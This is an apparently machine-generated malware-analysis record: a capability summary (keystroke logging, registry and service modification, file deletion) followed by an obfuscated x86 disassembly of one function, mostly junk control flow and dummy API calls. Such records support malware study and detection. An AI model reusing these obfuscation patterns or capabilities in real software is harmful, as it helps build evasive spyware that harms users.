Function at 0x4692f5
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Delete file
Extract resource via kernel32 functions
Get disk information
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes
Log keystrokes via polling
Modify service
Query service status
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3658
call fcn.004a0250
push esi
push edi
mov dword [ebp - 0x2e8], 0x76f5020f
cmp dword [ebp - 0x2e8], 0
je 0x469388
cmp dword [ebp - 0x2e8], 0x2c58fb77
jl 0x46932f
mov dword [ebp - 0x1f8c], 1
jmp 0x469336
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x1f8c], eax
jle 0x469350
mov dword [ebp - 0x1da8], 1
jmp 0x469357
and dword [ebp - 0x1da8], 0
mov eax, dword [ebp - 0x1da8]
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0
je 0x469388
mov byte [ebp - 0x3f4], 0
movzx eax, byte [ebp - 0x3f4]
test eax, eax
je 0x469386
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
jmp 0x4693ae
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x4693ae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x2e8], eax
push 1
lea ecx, [ebp - 0xb74]
call fcn.004308a8
mov dword [ebp - 0x21c], 0xffffffff
mov dword [ebp - 0x5e4], 0
jmp 0x4693ea
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 1
jge 0x46940c
push dword [ebp - 0x5e4]
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov dword [eax], 4
jmp 0x4693dd
mov dword [ebp - 0x21c], 0
jmp 0x469425
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jg 0x4694f6
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x108], 0
jmp 0x469455
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jg 0x469478
push dword [ebp - 0x108]
lea ecx, [ebp - 0xb74]
call fcn.00430996
cmp dword [eax], 0
je 0x469476
jmp 0x469478
jmp 0x469448
mov dword [ebp - 0x108], 0
jmp 0x469491
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jg 0x4694f1
push dword [ebp - 0x108]
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov esi, eax
push dword [ebp - 0x21c]
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov ecx, dword [esi]
mov dword [eax], ecx
mov byte [ebp - 0x28d], 0
movzx eax, byte [ebp - 0x28d]
test eax, eax
je 0x4694ef
push 0
push 0
push 0xfe5
push 0xf01
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x469484
jmp 0x469418
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov esi, eax
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
imul eax, dword [eax], 9
cmp dword [esi], eax
jl 0x469525
mov dword [ebp - 0x2140], 1
jmp 0x46952c
and dword [ebp - 0x2140], 0
cmp dword [ebp - 0x21c], 0
xor eax, eax
jne 0x469549
cmp dword [ebp - 0x21c], 0
jne 0x469549
and dword [ebp - 0x1db0], 0
jmp 0x469553
mov dword [ebp - 0x1db0], 1
cmp dword [ebp - 0x1db0], 0x38591b6
jge 0x46956b
mov dword [ebp - 0x2358], 1
jmp 0x469572
and dword [ebp - 0x2358], 0
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov eax, dword [eax]
mov dword [ebp - 0x21c], eax
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov esi, eax
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x4695b5
mov dword [ebp - 0x1db8], 1
jmp 0x4695bc
and dword [ebp - 0x1db8], 0
push 0
lea ecx, [ebp - 0xb74]
call fcn.00430996
mov ecx, dword [ebp - 0x1db8]
mov dword [eax], ecx
lea ecx, [ebp - 0xb74]
call fcn.0043097a
mov dword [ebp - 0x4a4], 0x2c03342e
mov dword [ebp - 0x40c], 0xfffffffa
mov dword [ebp - 0x4a4], 0xfffffffb
jmp 0x469609
mov eax, dword [ebp - 0x4a4]
dec eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0xfffffff2
je 0x46966f
mov dword [ebp - 0x40c], 0x54c3c69a
mov dword [ebp - 0x40c], 0x18
jmp 0x469635
mov eax, dword [ebp - 0x40c]
dec eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 6
jge 0x46966d
mov byte [ebp - 0x400], 0
movzx eax, byte [ebp - 0x400]
test eax, eax
je 0x46966b
push 0x1d18
push 0
push 0xf8b
push 0x109
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x469628
jmp 0x4695fc
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x308], 0x76f5020f
mov dword [ebp - 0x52c], 9
mov dword [ebp - 0x5e8], 1
cmp dword [ebp - 0x52c], 0
je 0x4696d7
mov byte [ebp - 0x28f], 0
movzx eax, byte [ebp - 0x28f]
test eax, eax
je 0x4696d2
push 0
push 0x1a55
push 0x2597
push 0x1025
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
jmp 0x469837
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x2368], 5
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x148], 0
jne 0x46970c
mov dword [ebp - 0x1dc8], 1
jmp 0x469713
and dword [ebp - 0x1dc8], 0
cmp dword [ebp - 0x5e8], 0
je 0x469723
cmp dword [ebp - 0x148], 0
mov eax, dword [ebp - 0x5e8]
add eax, 0x890f
jne 0x46973c
mov dword [ebp - 0x1dc0], 1
jmp 0x469743
and dword [ebp - 0x1dc0], 0
cmp dword [ebp - 0x1dc0], 0x9b2e
jle 0x46975b
mov dword [ebp - 0x1dd0], 1
jmp 0x469762
and dword [ebp - 0x1dd0], 0
mov eax, dword [ebp - 0x1dc8]
cmp eax, dword [ebp - 0x1dd0]
jl 0x46977c
mov dword [ebp - 0x1dd8], 1
jmp 0x469783
and dword [ebp - 0x1dd8], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x1dd8], eax
jl 0x46979d
mov dword [ebp - 0x1de0], 1
jmp 0x4697a4
and dword [ebp - 0x1de0], 0
mov eax, dword [ebp - 0x1de0]
mov dword [ebp - 0x5e8], eax
mov eax, dword [ebp - 0x52c]
cmp dword [ebp - 0x148], eax
je 0x4697ca
mov dword [ebp - 0x2360], 1
jmp 0x4697d1
and dword [ebp - 0x2360], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x2c60], eax
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x31d0], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x2ef8], eax
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x52c], eax
jg 0x46980a
cmp dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x148], eax
jle 0x469824
mov dword [ebp - 0x1e78], 1
jmp 0x46982b
and dword [ebp - 0x1e78], 0
mov eax, dword [ebp - 0x1e78]
mov dword [ebp - 0x2368], eax
cmp dword [ebp - 0x308], 0
je 0x46a05f
cmp dword [ebp - 0x308], 0x2c58fb77
jl 0x46985c
mov dword [ebp - 0x1e80], 1
jmp 0x469863
and dword [ebp - 0x1e80], 0
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x1e80], eax
jle 0x46987d
mov dword [ebp - 0x1e88], 1
jmp 0x469884
and dword [ebp - 0x1e88], 0
mov eax, dword [ebp - 0x1e88]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
je 0x46a05f
mov dword [ebp - 0x8f8], 0xfffffffa
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x4698bf
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x8f8], 0
jmp 0x4698d8
mov eax, dword [ebp - 0x8f8]
dec eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 0xfffffff2
jge 0x469916
mov dword [ebp - 0x2370], 0xe17ca002
mov byte [ebp - 0x291], 0
movzx eax, byte [ebp - 0x291]
test eax, eax
je 0x469909
push 0
push 5
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
cmp dword [ebp - 0x2370], 0
je 0x469914
jmp 0x469916
jmp 0x4698cb
push 4
lea ecx, [ebp - 0x1f08]
call fcn.004308a8
mov dword [ebp - 0x48], 0
jmp 0x469933
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x469949
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x5f0], 1
jmp 0x46992c
mov dword [ebp - 0x48], 0
jmp 0x469959
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x46996f
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1ef8], 0xffffffff
jmp 0x469952
mov dword [ebp - 0x48], 0
jmp 0x46997f
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jge 0x46999b
push dword [ebp - 0x48]
lea ecx, [ebp - 0x1f08]
call fcn.00430996
mov dword [eax], 0x3afc
jmp 0x469978
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x1ef8], 0
jmp 0x4699c6
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1ef8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1ef8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1ef8], 1
jge 0x4699ee
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1ef8]
mov dword [ebp + eax*4 - 0x5f0], 0x7730f94f
jmp 0x4699ad
push 2
lea ecx, [ebp - 0x1f08]
call fcn.00430996
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1ef8]
neg ecx
sub ecx, 0xa
cmp dword [eax], ecx
jg 0x469a1c
mov dword [ebp - 0x2378], 1
jmp 0x469a23
and dword [ebp - 0x2378], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5f0]
mov dword [ebp - 0x3230], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x5f0]
push 0
lea ecx, [ebp - 0x1f08]
call fcn.00430996
cmp esi, dword [eax]
jne 0x469a60
mov dword [ebp - 0x1e90], 1
jmp 0x469a67
and dword [ebp - 0x1e90], 0
push 2
lea ecx, [ebp - 0x1f08]
call fcn.00430996
mov ecx, dword [ebp - 0x1e90]
cmp ecx, dword [eax]
je 0x469a8a
mov dword [ebp - 0x1e98], 1
jmp 0x469a91
and dword [ebp - 0x1e98], 0
push 2
lea ecx, [ebp - 0x1f08]
call fcn.00430996
mov ecx, dword [ebp - 0x1e98]
cmp ecx, dword [eax]
jle 0x469ab4
mov dword [ebp - 0x1ea0], 1
jmp 0x469abb
and dword [ebp - 0x1ea0], 0
push 2
lea ecx, [ebp - 0x1f08]
call fcn.00430996
mov ecx, dword [ebp - 0x1ea0]
cmp ecx, dword [eax]
jg 0x469ade
mov dword [ebp - 0x1ea8], 1
jmp 0x469ae5
and dword [ebp - 0x1ea8], 0
push 2
lea ecx, [ebp - 0x1f08]
call fcn.00430996
mov ecx, dword [ebp - 0x1ea8]
sub ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp + eax - 0x1ef8]
mov dword [ebp - 0x1eb0], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp + eax - 0x1ef8], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp + eax - 0x5f0], ecx
lea ecx, [ebp - 0x1f08]
call fcn.0043097a
mov byte [ebp - 0x293], 0
mov dword [ebp - 0x74], 0x2c03342e
mov dword [ebp - 0xa94], 0x81f6ed73
mov dword [ebp - 0x790], 0
jmp 0x469b70
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 1
jge 0x469b8c
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0xb28], 0
jmp 0x469b63
mov dword [ebp - 0x74], 0xfffffff7
jmp 0x469b9c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xe
jl 0x469f85
mov dword [ebp - 0xbc], 7
mov dword [ebp - 0xc34], 0xfffc
mov dword [ebp - 0xbc], 0
jmp 0x469bd3
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffe2
je 0x469f52
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x5f8], 0
jmp 0x469c03
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 4
jge 0x469c1f
mov eax, dword [ebp - 0x5f8]
mov dword [ebp + eax*4 - 0x33fc], 0
jmp 0x469bf6
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2f00], eax
mov eax, 0xc751
test eax, eax
je 0x469c43
cmp dword [ebp - 0x74], 0
je 0x469c43
mov dword [ebp - 0x1eb8], 1
jmp 0x469c4a
and dword [ebp - 0x1eb8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1eb8]
mov dword [ebp + eax - 0xb28], ecx
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb28]
cmp dword [ebp + eax - 0x33fc], ecx
jg 0x469c85
mov dword [ebp - 0x1ec0], 1
jmp 0x469c8c
and dword [ebp - 0x1ec0], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x1ec0], eax
jge 0x469cac
cmp dword [ebp - 0xbc], 0
jne 0x469cac
and dword [ebp - 0x1ec8], 0
jmp 0x469cb6
mov dword [ebp - 0x1ec8], 1
mov eax, dword [ebp - 0x1ec8]
add eax, 0x1c58
sub eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xbc]
jge 0x469cdb
mov dword [ebp - 0x1ed0], 1
jmp 0x469ce2
and dword [ebp - 0x1ed0], 0
mov eax, dword [ebp - 0x1ed0]
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4ac], 0x1b
jmp 0x469d07
mov eax, dword [ebp - 0x4ac]
dec eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0xfffffff9
jg 0x469f4d
mov dword [ebp - 0x974], 0x511e
mov dword [ebp - 0x2380], 0xed5ebae8
cmp dword [ebp - 0x74], 0
je 0x469d3a
mov dword [ebp - 0x1ed8], 1
jmp 0x469d41
and dword [ebp - 0x1ed8], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x1ed8], eax
jl 0x469d5b
mov dword [ebp - 0x1ee0], 1
jmp 0x469d62
and dword [ebp - 0x1ee0], 0
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0x1ee0], eax
jne 0x469d7c
mov dword [ebp - 0x1ee8], 1
jmp 0x469d83
and dword [ebp - 0x1ee8], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x1ee8], eax
jg 0x469d9d
mov dword [ebp - 0x1f0c], 1
jmp 0x469da4
and dword [ebp - 0x1f0c], 0
cmp dword [ebp - 0x1f0c], 0x1b705618
jl 0x469dbc
mov dword [ebp - 0x1a40], 1
jmp 0x469dc3
and dword [ebp - 0x1a40], 0
mov eax, dword [ebp - 0xa94]
imul eax, dword [ebp - 0x1a40]
mov dword [ebp - 0xc34], eax
mov eax, dword [ebp - 0xc34]
add eax, dword [ebp - 0xbc]
cmp eax, 0x7c29
jg 0x469df5
mov dword [ebp - 0x1a48], 1
jmp 0x469dfc
and dword [ebp - 0x1a48], 0
cmp dword [ebp - 0x1a48], 0xfffffffc
jne 0x469e14
cmp dword [ebp - 0x74], 0
jne 0x469e14
and dword [ebp - 0xc3c], 0
jmp 0x469e1e
mov dword [ebp - 0xc3c], 1
mov eax, dword [ebp - 0xa94]
cmp dword [ebp - 0xc3c], eax
jge 0x469e3e
cmp dword [ebp - 0xa94], 0
jne 0x469e3e
and dword [ebp - 0x1a50], 0
jmp 0x469e48
mov dword [ebp - 0x1a50], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x33fc]
cmp dword [ebp - 0x1a50], eax
jge 0x469e69
mov dword [ebp - 0xc44], 1
jmp 0x469e70
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0xc44], eax
jne 0x469e90
mov eax, 0xfffa
test eax, eax
jne 0x469e90
and dword [ebp - 0x1a58], 0
jmp 0x469e9a
mov dword [ebp - 0x1a58], 1
mov eax, dword [ebp - 0x974]
cmp eax, dword [ebp - 0x1a58]
jle 0x469eb4
mov dword [ebp - 0xc4c], 1
jmp 0x469ebb
and dword [ebp - 0xc4c], 0
cmp dword [ebp - 0xc4c], 0xc8e
jl 0x469ed3
mov dword [ebp - 0x1a60], 1
jmp 0x469eda
and dword [ebp - 0x1a60], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1a60], eax
jge 0x469ef1
mov dword [ebp - 0xc54], 1
jmp 0x469ef8
and dword [ebp - 0xc54], 0
cmp dword [ebp - 0xc54], 0xffffffff
jae 0x469f13
cmp dword [ebp - 0x974], 0
jne 0x469f13
and dword [ebp - 0x1a68], 0
jmp 0x469f1d
mov dword [ebp - 0x1a68], 1
cmp dword [ebp - 0x1a68], 0x1700
jne 0x469f35
mov dword [ebp - 0xc5c], 1
jmp 0x469f3c
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0x2380], eax
jmp 0x469cfa
jmp 0x469bc6
mov byte [ebp - 0x3f2], 0
movzx eax, byte [ebp - 0x3f2]
test eax, eax
je 0x469f80
push 0x10d
push 0x326
push 0x136
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
jmp 0x469b95
mov dword [ebp - 0x74], 0
jmp 0x469f95
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x469fab
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xb28], 0xdd68647d
jmp 0x469f8e
movzx eax, byte [ebp - 0x293]
test eax, eax
je 0x46a05a
mov dword [ebp - 0x5bc], 0x39b642c7
mov dword [ebp - 0x860], 0
jmp 0x469fdd
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 1
jge 0x469ff9
mov eax, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x2388], 0xfffffffa
jmp 0x469fd0
mov dword [ebp - 0x5bc], 0
jmp 0x46a012
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 1
jge 0x46a02e
mov eax, dword [ebp - 0x5bc]
mov dword [ebp + eax*4 - 0x2388], 0xb743d837
jmp 0x46a005
mov byte [ebp - 0x351], 0
movzx eax, byte [ebp - 0x351]
test eax, eax
je 0x46a052
push 0
push 0xdbe
push 0x184a
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
jmp 0x46a85b
mov dword [ebp - 0x2f0], 0xa684
mov dword [ebp - 0x2f8], 5
mov dword [ebp - 0xf8], 0xa26f3f17
mov dword [ebp - 0x300], 0xfffffffa
push 3
lea ecx, [ebp - 0x2004]
call fcn.004308a8
mov dword [ebp - 0x31e0], 0
mov dword [ebp - 0x2f08], 0xfffffffe
mov dword [ebp - 0x323c], 0x4aa7fcf6
mov dword [ebp - 0x23a0], 1
mov dword [ebp - 0x1a98], 1
mov dword [ebp - 0x2f10], 1
mov dword [ebp - 0xa9c], 4
mov dword [ebp - 0x600], 0
jmp 0x46a0f3
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 3
jge 0x46a115
push dword [ebp - 0x600]
lea ecx, [ebp - 0x2004]
call fcn.00430996
mov dword [eax], 0xb6bd0d4
jmp 0x46a0e6
cmp dword [ebp - 0x2f0], 0
je 0x46a32b
mov dword [ebp - 0x97c], 0xddac
mov dword [ebp - 0xc74], 4
mov byte [ebp - 0x295], 0
movzx eax, byte [ebp - 0x295]
test eax, eax
je 0x46a157
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 0xf8], 0
cmp dword [ebp - 0xf8], 0
je 0x46a18b
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
je 0x46a18b
mov dword [ebp - 0x1a70], 1
jmp 0x46a192
and dword [ebp - 0x1a70], 0
cmp dword [ebp - 0x1a70], 1
je 0x46a1a7
mov dword [ebp - 0xc64], 1
jmp 0x46a1ae
and dword [ebp - 0xc64], 0
cmp dword [ebp - 0xc64], 0x12def906
jle 0x46a1c6
mov dword [ebp - 0x2390], 1
jmp 0x46a1cd
and dword [ebp - 0x2390], 0
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0x31f0], eax
mov eax, dword [ebp - 0x2f0]
cmp dword [ebp - 0x97c], eax
jge 0x46a1f3
mov dword [ebp - 0x1a78], 1
jmp 0x46a1fa
and dword [ebp - 0x1a78], 0
cmp dword [ebp - 0x1a78], 0x1dbdae4
jl 0x46a221
cmp dword [ebp - 0x97c], 0
jne 0x46a221
cmp dword [ebp - 0x2f8], 0
jne 0x46a221
and dword [ebp - 0xc6c], 0
jmp 0x46a22b
mov dword [ebp - 0xc6c], 1
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0xf8], eax
jle 0x46a256
xor eax, eax
inc eax
je 0x46a256
mov dword [ebp - 0x1a80], 1
jmp 0x46a25d
and dword [ebp - 0x1a80], 0
mov eax, dword [ebp - 0x1a80]
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0
je 0x46a287
cmp dword [ebp - 0xc74], 0
je 0x46a287
mov dword [ebp - 0x1a88], 1
jmp 0x46a28e
and dword [ebp - 0x1a88], 0
mov eax, dword [ebp - 0x1a88]
dec eax
jne 0x46a2b7
push 2
lea ecx, [ebp - 0x2004]
call fcn.00430996
cmp dword [eax], 0
jne 0x46a2b7
xor eax, eax
inc eax
jne 0x46a2b7
and dword [ebp - 0xc7c], 0
jmp 0x46a2c1
mov dword [ebp - 0xc7c], 1
cmp dword [ebp - 0xc7c], 1
ja 0x46a2d6
mov dword [ebp - 0x1a90], 1
jmp 0x46a2dd
and dword [ebp - 0x1a90], 0
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x1a90]
jle 0x46a2f7
mov dword [ebp - 0xc84], 1
jmp 0x46a2fe
and dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0xc84]
jne 0x46a318
mov dword [ebp - 0x2398], 1
jmp 0x46a31f
and dword [ebp - 0x2398], 0
mov dword [ebp - 0x2f8], 8
jmp 0x46a396
mov dword [ebp - 0x2f0], 0
jmp 0x46a344
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 2
jg 0x46a396
mov dword [ebp - 0x300], 2
jmp 0x46a366
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0
jl 0x46a394
mov byte [ebp - 0x3fc], 0
movzx eax, byte [ebp - 0x3fc]
test eax, eax
je 0x46a392
push 0x56
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
jmp 0x46a359
jmp 0x46a337
mov dword [ebp - 0xf8], 0
jmp 0x46a3af
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jg 0x46a5ec
mov dword [ebp - 0x1ab8], 0x2fce4a83
mov dword [ebp - 0x984], 6
mov dword [ebp - 0x2f18], 0xbe72f236
mov dword [ebp - 0x23a8], 0x21817887
mov eax, dword [ebp - 0xa9c]
inc eax
mov dword [ebp - 0xa9c], eax
mov eax, dword [ebp - 0x23a0]
cmp dword [ebp - 0xa9c], eax
je 0x46a40b
mov dword [ebp - 0x1aa0], 1
jmp 0x46a412
and dword [ebp - 0x1aa0], 0
mov eax, dword [ebp - 0x1ab8]
mov dword [ebp - 0x1a98], eax
cmp dword [ebp - 0x1a98], 0x72679f1a
je 0x46a436
mov dword [ebp - 0xc8c], 1
jmp 0x46a43d
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
mov dword [ebp - 0x2f8], eax
mov esi, dword [ebp - 0x2f8]
mov edi, dword [ebp - 0x984]
add edi, dword [ebp - 0x1aa0]
push 2
lea ecx, [ebp - 0x2004]
call fcn.00430996
imul edi, dword [eax]
sub edi, esi
push 2
lea ecx, [ebp - 0x2004]
call fcn.00430996
add edi, dword [eax]
jmp 0x46a48a
and dword [ebp - 0xc94], 0
cmp dword [ebp - 0xc94], 0xffffffff
jl 0x46a4a6
mov dword [ebp - 0x1aa8], 1
jmp 0x46a4ad
and dword [ebp - 0x1aa8], 0
mov eax, dword [ebp - 0x1aa8]
sub eax, 0x6923
je 0x46a4cf
cmp dword [ebp - 0x984], 0
je 0x46a4cf
mov dword [ebp - 0xc9c], 1
jmp 0x46a4d6
and dword [ebp - 0xc9c], 0
cmp dword [ebp - 0xc9c], 0xb5b2
jge 0x46a4ee
mov dword [ebp - 0x1ab0], 1
jmp 0x46a4f5
and dword [ebp - 0x1ab0], 0
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x2004]
call fcn.00430996
mov ecx, dword [ebp - 0x1ab0]
imul ecx, dword [eax]
test ecx, ecx
je 0x46a528
cmp dword [ebp - 0x300], 0
je 0x46a528
mov dword [ebp - 0xca4], 1
jmp 0x46a52f
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0x984]
cmp dword [ebp - 0xca4], eax
jne 0x46a549
mov dword [ebp - 0xcac], 1
jmp 0x46a550
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0x1ab8]
cmp dword [ebp - 0xcac], eax
jge 0x46a56a
mov dword [ebp - 0x1ac0], 1
jmp 0x46a571
and dword [ebp - 0x1ac0], 0
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x2004]
call fcn.00430996
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1ac0]
je 0x46a598
mov dword [ebp - 0xcb4], 1
jmp 0x46a59f
and dword [ebp - 0xcb4], 0
cmp dword [ebp - 0xcb4], 0xffffffff
jge 0x46a5b4
mov dword [ebp - 0x1ac8], 1
jmp 0x46a5bb
and dword [ebp - 0x1ac8], 0
mov eax, dword [ebp - 0x1ac8]
mov dword [ebp - 0x23a8], eax
mov byte [ebp - 0x297], 0
movzx eax, byte [ebp - 0x297]
test eax, eax
je 0x46a5e7
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x46a3a2
lea ecx, [ebp - 0x2004]
call fcn.0043097a
mov byte [ebp - 0x279], 0
mov dword [ebp - 0x4b4], 0xfffffff7
push 3
lea ecx, [ebp - 0x2740]
call fcn.004308a8
mov dword [ebp - 0x798], 0
jmp 0x46a62e
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 3
jge 0x46a64d
push dword [ebp - 0x798]
lea ecx, [ebp - 0x2740]
call fcn.00430996
or dword [eax], 0xffffffff
jmp 0x46a621
cmp dword [ebp - 0x4b4], 0
je 0x46a674
mov byte [ebp - 0x359], 0
movzx eax, byte [ebp - 0x359]
test eax, eax
je 0x46a672
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x46a6f1
mov dword [ebp - 0x4b4], 0
jmp 0x46a68d
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 2
jg 0x46a6f1
mov dword [ebp - 0x534], 0xc62e0897
mov dword [ebp - 0x534], 0
jmp 0x46a6b9
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 3
jge 0x46a6db
push dword [ebp - 0x534]
lea ecx, [ebp - 0x2740]
call fcn.00430996
mov dword [eax], 0x666a756a
jmp 0x46a6ac
push 0
lea ecx, [ebp - 0x2740]
call fcn.00430996
